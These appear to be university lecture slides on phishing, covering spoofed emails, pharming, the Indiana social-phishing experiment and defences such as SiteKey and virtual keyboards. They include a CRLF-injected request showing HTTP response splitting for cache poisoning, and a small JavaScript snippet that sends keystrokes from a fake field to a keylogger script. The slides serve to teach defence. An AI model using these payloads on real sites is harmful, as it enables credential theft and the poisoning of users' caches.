Phishing

Spoofed emails

A Few Headlines

- “11.9 million Americans clicked on a phishing e-mail in 2005”
- “Gartner estimates that the total financial losses attributable to phishing will total $2.8 bln in 2006”
- “Phishing and key-logging Trojans cost UK banks £12m”
- “Swedish bank hit by ‘biggest ever’ online heist”
  “Swedish Bank loses $1 Million through Russian hacker”
MillerSmiles.co.uk

A Snapshot of a Friends Mailbox

service@paypal.com
Typical Phishing Page

- Weird URL
- http instead of https

Or Even Like This
A Closer Look

What you'll see on the page:  
And You End Up Here

Where the link actually goes:

2006 (must be an old snapshot)
Thank Goodness for IE 7.0 😊

Phishing Techniques

- Use confusing URLs
- Use URL with multiple redirection
- Host phishing sites on botnet zombies
  - Move from bot to bot using dynamic DNS
- Pharming
  - Poison DNS tables so that victim’s address (e.g., www.paypal.com) points to the phishing site
  - URL checking doesn’t help!
Bad Idea: Echoing User Input

- User input echoed in HTTP header
- For example, language redirect:
  `<% response.redirect("/by_lang.jsp?lang=" + request.getParameter("lang") ) %>
- Browser sends
  `http://.../by_lang.jsp ? lang=french`
- Server responds
  `HTTP/1.1 302 redirect`
  `Date: ... to here`
  `Location: /by_lang.jsp ? lang=french`

HTTP Response Splitting

- Malicious user requests
  `http://.../by_lang.jsp ? lang=
    "french \n    Content-length: 0 \r\n\r\n    HTTP/1.1 200 OK
    <Encoded URL of phishing page>"`
- Server responds:
  `HTTP/1.1 302`
  `Date: ...`
  `Location: /by_lang.jsp ? lang=french`
  `Content-length: 0`
  `HTTP/1.1 200 OK`
  `Content-length: 217 Phishing page`
Why?

- Attacker submitted a URL to victim.com
- Response from victim.com contains phishing page
- All cache servers along the path will store the phishing page as the cache of victim.com
- If an unsuspecting user of the same cache server requests victim.com, server will give him the cached phishing page instead

Trusted Input Path Problem

- Users are easily tricked into entering passwords into insecure non-password fields

```html
<input type="text" name="spoof"
Sends keystroke to phisher
onKeyPress="(new Image()).src=
    'keylogger.php?key=' +
    String.fromCharCode( event.keyCode );
    event.keyCode = 183;">
Changes character to *
Social Engineering Tricks

- Create a bank page advertising an interest rate slightly higher than any real bank; ask users for their credentials to initiate money transfer
  - Some victims provided their bank account numbers to “Flintstone National Bank” of “Bedrock, Colorado”
- Exploit social network
  - Spoof an email from a Facebook or MySpace friend
    - Read Jan 29 WSJ article about MySpace hack
  - In a West Point experiment, 80% of cadets were deceived into following an embedded link regarding their grade report from a fictitious colonel

Experiments at Indiana University

- Reconstructed social network by crawling sites like Facebook, MySpace, LinkedIn and Friendster
- Sent 921 Indiana University students spoofed email (apparently from their friend)
- Email redirected to spoofed site asking user to enter his/her secure university credentials
  - Domain name clearly distinct from indiana.edu
- 72% of students entered real credentials
  - Males more likely if email sender is female

[Jagatic et al.]
Victims’ Reactions (1)

- Anger
  - Subjects called the experiment unethical, inappropriate, illegal, unprofessional, fraudulent, self-serving, useless
  - Called for researchers conducting the study to be fired, prosecuted, expelled, or reprimanded

- Denial
  - No posted comments with admission that writer was victim of attack
  - Many posts stated that poster did not and would never fall for such an attack, and they were speaking on behalf of friends who had been phished

Victims’ Reactions (2)

- Misunderstanding
  - Many subjects were convinced that the experimenters hacked into their email accounts. They believed it was the only possible explanation for the spoofed messages.

- Underestimation of privacy risks
  - Many subjects didn’t understand how the researchers obtained information about their friends, and assumed that the researchers accessed their address books
  - Others, understanding that the information was mined from social network sites, objected that their privacy had been violated by the researchers who accessed the information that they had posted online
Defense #1: Internet Explorer 7.0

- “White list” of trusted sites
- Other URLs sent to Microsoft
  Responds with “Ok” or “Phishing!”

Defense #2: PassMark / SiteKey

If you don’t recognize your personalized SiteKey, don’t enter your Passcode.
Defense #3: PIN Guard

Use your mouse to click the number, or use your keyboard to type the letters.

Defense #3A: Scramble Pad

Enter access code by typing letters from randomly generated Scramble Pad.
Defence #4: Virtual Keyboard

Use your **mouse** to select characters from the virtual keyboard.

Microsoft Passport

- **Idea:** authenticate once, use everywhere
- Trusted third party issues identity credentials
- User uses them to access services over the Web
History of Passport

- Launched in 1999
  - 2002, Microsoft claims > 200M accounts, 3.5 billion authentications each month
- Passport: Early Glitches
  - Flawed password reset procedure
  - Cross-scripting attack
- Current status
  - From Directory of Sites at http://www.passport.net: “We have discontinued our Site Directory ...”
  - Monster.com dropped support in October 2004
  - eBay dropped support in January 2005
  - Seems to be fizzling out

Liberty Alliance

- Open-standard alternative to Passport
  - http://www.projectliberty.org
- Promises compliance with privacy legislation
- Long list of Liberty-enabled products
Defenses

- Use mutual authentication
- Non-Reusable credentials
  (not sufficient against man-in-the-middle attacks)

- Basic technical mechanism available
- Human interaction with these is a challenge!
- Security is a systems problem